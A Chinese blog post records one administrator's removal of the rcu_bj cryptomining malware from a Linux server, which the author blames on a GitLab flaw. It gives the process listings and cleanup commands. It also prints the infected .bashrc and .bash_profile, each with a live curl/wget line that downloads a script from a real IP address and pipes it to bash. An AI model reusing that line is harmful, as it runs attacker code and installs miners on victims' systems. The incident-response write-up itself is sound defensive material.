记录一次挖矿病毒rcu_bj，导致CPU飙高处理
2023-04-29 本文已影响0人
无味wy
起因应该是gitlab漏洞导致（建议升级版本或者关闭公网）
服务器监控到服务器CPU持续负载很高，登录服务器查看问题
远程连接到服务器显示/root/.bashrc和/root/bash_frofile文件异常 (如下)
[root@zbxserver ~]# ssh 192.168.64.8
Last login: Sat Apr 29 18:48:51 2023 from 192.168.32.14
-bash: /root/.bashrc: line 14: syntax error: unexpected end of file
-bash: /root/.bash_profile: line 14: syntax error: unexpected end of file
top查看,rcu_bj占用CPU
Tasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie
%Cpu(s): 50.0 us, 4.3 sy, 0.0 ni, 45.5 id, 0.2 wa, 0.0 hi, 0.0 si, 0.0 st
KiB Mem : 8173780 total, 153720 free, 3089492 used, 4930568 buff/cache
KiB Swap: 0 total, 0 free, 0 used. 2575292 avail Mem
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
1290 root 20 0 2438492 266040 2752 S 95.3 3.3 1022:12 rcu_bj
3649 root 20 0 556024 49620 10252 S 1.0 0.6 305:57.80 hosteye
32162 root 20 0 113540 1784 1268 S 0.7 0.0 8:55.98 sh
1053 work 20 0 799884 16432 4960 S 0.3 0.2 46:10.86 ral-agent
1054 work 20 0 1062904 13864 1572 S 0.3 0.2 75:48.77 php-cgi
8490 root 20 0 90652 2984 2108 S 0.3 0.0 40:59.38 rngd
1 root 20 0 51844 3756 2256 S 0.0 0.0 151:18.76 systemd
2 root 20 0 0 0 0 S 0.0 0.0 0:01.27 kthreadd
4 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/0:0H
6 root 20 0 0 0 0 S 0.0 0.0 14:09.84 ksoftirqd/0
7 root rt 0 0 0 0 S 0.0 0.0 2:38.12 migration/0
8 root 20 0 0 0 0 S 0.0 0.0 0:00.00 rcu_bh
9 root 20 0 0 0 0 S 0.0 0.0 259:29.46 rcu_sched
10 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 lru-add-drain
11 root rt 0 0 0 0 S 0.0 0.0 3:46.65 watchdog/0
12 root rt 0 0 0 0 S 0.0 0.0 2:57.72 watchdog/1
13 root rt 0 0 0 0 S 0.0 0.0 2:57.93 migration/1
14 root 20 0 0 0 0 S 0.0 0.0 14:12.02 ksoftirqd/1
16 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kworker/1:0H
18 root 20 0 0 0 0 S 0.0 0.0 0:00.00 kdevtmpfs
19 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 netns
20 root 20 0 0 0 0 S 0.0 0.0 0:21.82 khungtaskd
21 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 writeback
22 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 kintegrityd
23 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 bioset
24 root 0 -20 0 0 0 S 0.0 0.0 0:00.00 bioset
打开异常文件发现异常病毒
清除异常配置，如下面得IP地址，肯定是病毒无疑了
[root@localhost ~]# vim /root/.bashrc
# .bashrc
# User specific aliases and functions
alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'
# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi
(curl -s http://123.30.179.206:8189/solr/.v7/booster || wget -q -O - http://123.30.179.206:8189/solr/.v7/booster | bash -sh >/dev/null 2>&1 &
[root@localhost ~]# vim /root/.bash_profile
# .bash_profile
# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi
# User specific environment and startup programs
PATH=$PATH:$HOME/bin
export PATH
(curl -s http://123.30.179.206:8189/solr/.v7/booster || wget -q -O - http://123.30.179.206:8189/solr/.v7/booster | bash -sh >/dev/null 2>&1 &
这个病毒一般会注册自动启动服务，所以要先停掉,不然kill掉会重启
[root@localhost ~]# systemctl disable systemd_s.service
Removed symlink /etc/systemd/system/multi-user.target.wants/systemd_s.service.
You have new mail in /var/spool/mail/root
[root@localhost ~]# systemctl stop systemd_s.service
现在查看进程kill掉即可,不kill掉3个服务的话你执行crontab -e 时候会自动退出不能编辑
[root@localhost ~]# ps -ef|grep rcu
root 8 2 0 2021 ? 00:00:00 [rcu_bh]
root 9 2 0 2021 ? 02:58:05 [rcu_sched]
root 22528 18979 0 19:51 pts/0 00:00:00 grep --color=auto rcu
root 24392 1 0 00:58 ? 00:00:20 /bin/sh /usr/lib/sys/rcu_udev
root 24461 24392 1 00:58 ? 00:12:46 /bin/sh /usr/lib/sys/rcu_libk
root 25725 1 90 00:59 ? 16:58:48 /usr/lib/sys/rcu_bj
[root@localhost ~]# kill -9 24392
[root@localhost ~]# kill -9 24461
[root@localhost ~]# kill -9 25725
#清理程序文件
[root@localhost ~]# cd /usr/lib/sys
[root@localhost sys]# cat /dev/null >rcu_bj
[root@localhost sys]# cat /dev/null >rcu_libk
[root@localhost sys]# cat /dev/null >rcu_udev
[root@localhost sys]# cat /dev/null >systemd
#释放内存
[root@localhost sys]# echo 1 > /proc/sys/vm/drop_caches
[root@localhost sys]# echo 2 > /proc/sys/vm/drop_caches
[root@localhost sys]# echo 3 > /proc/sys/vm/drop_caches
#执行crontab -e 删除第一个病毒执行任务
[root@localhost sys]# crontab -e
*/5 * * * * /bin/bash /usr/lib/sys/systemd
*/5 * * * * /opt/hosteye/bin/upgrade --upgrade_mode=8>/dev/null 2>&1
这个病毒会关闭系统日志，清楚完开启日志 sudo systemctl restart rsyslog
